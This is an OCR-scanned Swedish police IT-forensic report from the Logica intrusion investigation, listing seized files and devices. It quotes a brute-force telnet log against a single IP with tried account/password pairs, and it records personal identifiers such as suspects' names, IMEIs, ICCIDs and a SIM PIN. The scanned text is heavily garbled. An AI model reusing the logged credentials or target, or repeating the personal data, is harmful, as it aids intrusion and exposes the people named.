logpw1 J /bruteforce/ logpw1 
S KAPAD l n/ a  
S E NAST ÄNDRAD I 201E H 31 - 31 00 : 5 3 : 58 cet 

Nedan visas ett utdrag ur filen. 

Trying 217 . 150 . 160 . 172 . . .  
TRYING : DAF 1473 somma r 
s pawn telnet 217 . 150 . 160 . 172 
TRYING : DAF 1489 somma r 
Trying 217 . 150 . 160 . 172 . . .  
s pawnTrying 217 . 150 . 160 . 172  . . .  

tel net 217 . 150 . 160 . 172  
TRYING : DAF 1488 somma r 
s pawn tel net 217 . 150 . 160 . 17 2  
TRYING : DAF 1496 somma r 
Trying 217 . 150 . 160 . 172 . . .  
s pawnCon nected to 217 . 150 . 160 . 172 . 
E s cape  c h a racter i s  ' A ] ' .  
Trying 217 . 150 . 160 . 172 . . .  

telnet 217 . 150 . 160 . 17 2  
TRYING : DAF 1492 somma r 
Connected to 2 1 7. 1 50. 1 60. 1 72 .  

Utdrag 2 1  Utdrag ur filen "log p w l "  

Filer som Jesper Blomström refererar till i sin rapport 

Jesper Blomström på Säkerhetspolisen hänvisar i sin rapport till ett antal filer 
funna på Ubuntu One. 

MKODFON 

F I L NAMN j SÖKVÄG 

MKODFON l / boot/grub/MKODFON 
S KAPAD n/a  
S E NAST ÄNDRAD 2010 - 01 - 30 17 : 22 : 2 5 C ET 
STORL E K  259  366 900 bytes ( 247 J 4 MB ) 

E487.DAF1492. UTDRAG.]AN2008.DAG30.READREAD 

F I L NAMN SÖKVÄG 

E487 . DAF 1492 . U  / infotorg/ E487 . DAF1492 . UTDRAG . JAN2008 . DAG3 TDRAG . JAN2008 . 
DAG30 . READREAD 0 . R EADREAD 

S KAPAD n/a  
S E NAST ÄNDRAD 201 1 - 03 - 20 1 5 : 59 : 38 C ET  
STORL E K  477 410 840 bytes  (455 J 3  MB ) 

Analys och slutsats 

En stor mängd dataset från Logicas servermiljö fanns sparade på det aktuella 
kontot på Ubuntu One. Dessutom fanns loggfiler som visade på 

56 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -881 022 1 Passagen och Ubuntu O ,  201 3-03-27 1 7 :42 d iarienr: 020 1 - 8 1 8€ 

3 1 3 

Polismyndigheten i Stockholms län 20 1 3 -0 1 -2 1  020 l -K8 1 864- 1 2 

portskanningar och anslutningar mot Logicas servrar. Det fanns även loggfiler 
med olika test av konton hos Logica samt sammanställning och förteckning av 
konton på maskiner i denna miljö .  

Dessa fynd och övrigt material talar för att personen bakom kontot på Ubuntu 
One sannolikt varit delaktig i och inte minst haft stor kännedom om 
dataintrången i Logicas servermiljö .  

5 7  
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Polisen 
Pol ismynd igheten i Stockho lms län 
Länskriminalpolisavdelningen 
IT-forensiska sektionen 

U ndersökni ngsprotokol l  
Datum 

20 1 3-03-2 1 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201- BG14336 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

Olle Wahlström LU/IT 

Handläggare på !T-forensiska sektionen Medundersökare 

IT-forensiker Robert Pock 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av mobila enheter 

I nkom t i l l iT-forensiska sektionen Undersökn i ngen påbörjad datum 

20 12-05-3 1 20 1 2-05-3 1 

Undersökn ingsadress 

Norra Agnegatan 33 

Inledning 

!T-forensiska sektionen fick i uppgift att avläsa befintlig information samt 
försöka återskapa eventuellt raderad data ur fem mobiltelefoner, två 
surfplattor, två digitala mediaspelare, tre sim-kort samt ett mobilt bredband. 
Grunden till undersökningen är utredning av datorintrång. 

Sammanfattning 

Ingen information som bedömdes vara relevant för utredningen påträffades . 

3 1 4  
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Innehållsförteckning 
Inledning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Förklaring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Logisk avläsning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Fysisk avläsning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

20 1 2-020 1 -BG14336- l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

20 1 2-020 1 -BG14336-5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

20 1 2-020 1 -BG14336-9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

20 1 2-020 1 -BG14336- 1 0  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

20 1 2-020 1 -BG14336- 1 5  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

20 1 2-020 1 -BG14336- 1 6  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 

20 1 2-020 1 -BG14336- 1 8  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

20 1 2-020 1 -BG 14336-2 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

20 1 2-020 1 -BG14336-26 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG14336-29 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 

20 1 2-020 1 -BG14336-3 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG14336-36 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

20 1 2-020 1 -BG14336-38 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 
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Förklaring 

Logisk avläsning 

Ett forensiskt program kommunicerar med mobiltelefonens modem som med 
hjälp av olika kommandon skickar ut den information som finns lagrad och är 
synlig på enheten. Raderad information kan inte avläsas på detta sätt annat än 
på SIM-kort 

Fysisk avläsning 

Hela (eller delar av) telefonminnet dumpas . Därefter avkodas denna fil .  På 
detta sätt kan eventuell raderad information samt information om tidigare 
isatta SIM-kort återfinnas 

2012-0201-BG 14336-1 

F ab rika t: HTC 
Modell : Evo 3D 
IMEI: 35687 10402 1 0589 

SIM-kort: Ja. 
Operatör: Telia 
ICCID: 89460 1 1 0 1 009 1 0339394 
PIN-kod: Inaktiv 

Minn eskort: J a 

Samtliga filer från telefonens minne kopierades ut. Minneskortet avlästes 
fysiskt separat. Sim-kortet avlästes också separat. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-5 

Mp3-spelare 
Fabrikat: Sony Walkman 
Modell : NW-MS l l  

Minneskort J a 

Minneskortet som satt i enheten avlästes fysiskt. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

3 1 6 
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Undersökn ingsprotokol l  Beslag 20 1 2-0201 - B G 1 4336 , Mobi l ,  20 1 3-03-2 1 1 6 :03 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG14336-9 

Fabrikat: Samsung 
Modell : Galaxy Tab 
�El: 35296 1041437382 

S�-kort: Nej 

20 1 3-03-2 1 

Samtliga filer från enhetens minne kopierades ut. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades .  

2012-0201-BG 14336-1 O 
Sim-kort 
ICCTID: 89462044 1 10034057597 
PIN-kod: Inaktiv 

Sim-kortet avlästes separat. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-15 

Fabrikat: Samsung 
Modell : Nexus Galaxy 
�El: 35 1 565052973846 

S�-kort: Ja 
Operatör: Telenor 
ICCllD: 89460843807007598534 
PIN-kod: Inaktiv 

Minneskort : J a, inbyggt 

020 1 -K8 1 864- 1 2  

Samtliga filer från telefonens minne kopierades ut. Telefonens minneskort 
avlästes separat. Sim-kortet avlästes separat. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-16 

Fabrikat: Apple 
Modell : iPod 
Serienr: 8K926 1RH2C5 

3 1 7 
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Enheten avlästes fysiskt. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-18 

Digital mediaspelare 
Fabrikat: Okänt 
Modell : Okänt 
IMEI: Okänt 

Enhetens lagringsutrymme kunde ej avläsas . 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-21 

Fabrikat: Sony Ericsson 
Modell : K6 10i 
IMEI: 3546380 1 8 1 24 155 

SIM-kort: Saknas 

Enhetens lagringsutrymme kunde ej avläsas . 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-26 

Fabrikat: HTC 
Modell : Touch Diamond 2 
IMEI: 356 1580234 1 2584 

SIM-kort: Ja 
ICCID: 894620442 1 000 1 788263 
PIN-kod: 8276 

020 1 -K8 1 864- 1 2  

Telefonen gick ej att läsa av, dock gjordes en manuell undersökning av 
innehållet. Minneskortet avlästes fysiskt separat. Sim-kortet avlästes också 
separat. 

3 1 8 
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Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG14336-29 

Fabrikat: Huawei 
Modell : E 1 550 
IMEI: 353 142030104247 

SIM-kort: Ja 
Operatör: Comviq 
ICCID: 894620447 1 0003326228 
PIN-kod: Inaktiv 

Sim-kortet avlästes separat. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-31 

Sim-kort 

Modell : Super Sim 
ICCID: 89492624269 1 22 143 1 54 
PIN-kod: Inaktiv 

Sim-kortet avlästes separat. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-36 

Fabrikat: Apple 
Modell : iPhone 4S 
IMEI: 0 12936009999500 

SIM-kort: Ja 
Oparatör: Tre 
ICCID: 894607 1 106430065057 
PIN-kod: Okänd 

Samtliga filer från telefonens minne kopierades ut. 

020 1 -K8 1 864- 1 2 

3 1 9 
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Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 14336-38 

Fabrikat: Asus 
Modell : Transformer Pad 

SIM-kort: Nej 

Samtliga filer från enhetens minne kopierades ut. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG1 4336 , 20 1 3-03-27 1 7 :39 d iar ienr: 020 1 -K8 1 864-1 2 

Polisen Undersökni ngsprotokol l  
Datum 

Pol ismyndigheten i Stockhol m s  län 20 1 3-0 1 - 2 1  Version 0 . 1 . 1 20 

Länskriminalpolisavdelningen Diarienr (åberopas vid korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201-BG14336 
(2 bilagor) 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

LU/S 

Handläggare på !T-forensiska sektionen Medundersökare 

Kriminalinspektör Olle Wahlström 
Kriminalinspektör John steenmark 
IT-forensiker Joakim Persson 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av !T-media 

I n kom t i l l  !T-forensiska sektionen Undersökn ingen påbörjad datum 

20 1 2-03-23 20 1 2-06-02 

Undersökn ingsadress 

Inledning 

Med anledning av de chattkonversationer som påträffades i Gustafssons beslag 
fanns anledning att misstänka Smedlund för inblandning i dataintrånget mot 
Logica. 

Sammanfattning 

Det har inte påträffats spår efter faktiska dataintrång mot Logica eller 
Applicate. Det har dock påträffats material som kan sättas i samband med 
dataintrånget. 

32 1 
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Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  2 

Innehållsförteckning 

Inledning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Innehållsförteckning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 

Bilagor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Refererar till . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Tabellförteckning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

20 1 2-020 1 -BG14336-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG14336-3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG14336-4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

20 1 2-020 1 -BG14336-6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 

20 1 2-020 1 -BG14336-7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

20 1 2-020 1 -BG14336-8 - "Xbox 360" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

20 1 2-020 1 -BG14336- 1 2  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

20 1 2-020 1 -BG14336- 1 3  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

20 1 2-020 1 -BG14336- 14 - "Jennys dator" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 0  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 0  

20 1 2-020 1 -BG14336- 1 7 - "Juliens dator" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 0  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l O 

20 1 2-020 1 -BG14336- 1 9  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

20 1 2-020 1 -BG 14336-20 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

20 1 2-020 1 -BG14336-22 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

20 1 2-020 1 -BG14336-23 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

20 1 2-020 1 -BG14336-24 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 3  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 3  



U ndersökn ingsprotokol l för beslag 20 1 2-020 1 -88 1 4336, 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864- 1 2 

323 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  3 

20 1 2-020 1 -BG14336-25 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 3  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 3  

20 1 2-020 1 -BG14336-27 - "PS3" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 4  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 4  

20 1 2-020 1 -BG14336-28 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 4  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  14  

20 1 2-020 1 -BG14336-30 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

20 1 2-020 1 -BG14336-32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

20 12-020 1 -BG14336-33 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

20 1 2-020 1 -BG14336-34 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

20 1 2-020 1 -BG14336-35 - "Mae mini" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

020 1 -20 1 2-BG 14336-37 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

20 1 2-020 1 -BG14336-39 - "MacBook Pro" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

Operativsystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

lP-adresser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

1 24.248 . 1 87 .22 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

1 24.248 . 1 67 . 1 9 1  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

20 1 2-020 1 -BG14336-40 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

20 1 2-020 1 -BG 14336-4 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

lP-adresser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

1 24.248 . 1 87 .22 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

1 24.248 . 1 67 . 1 9 1  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  



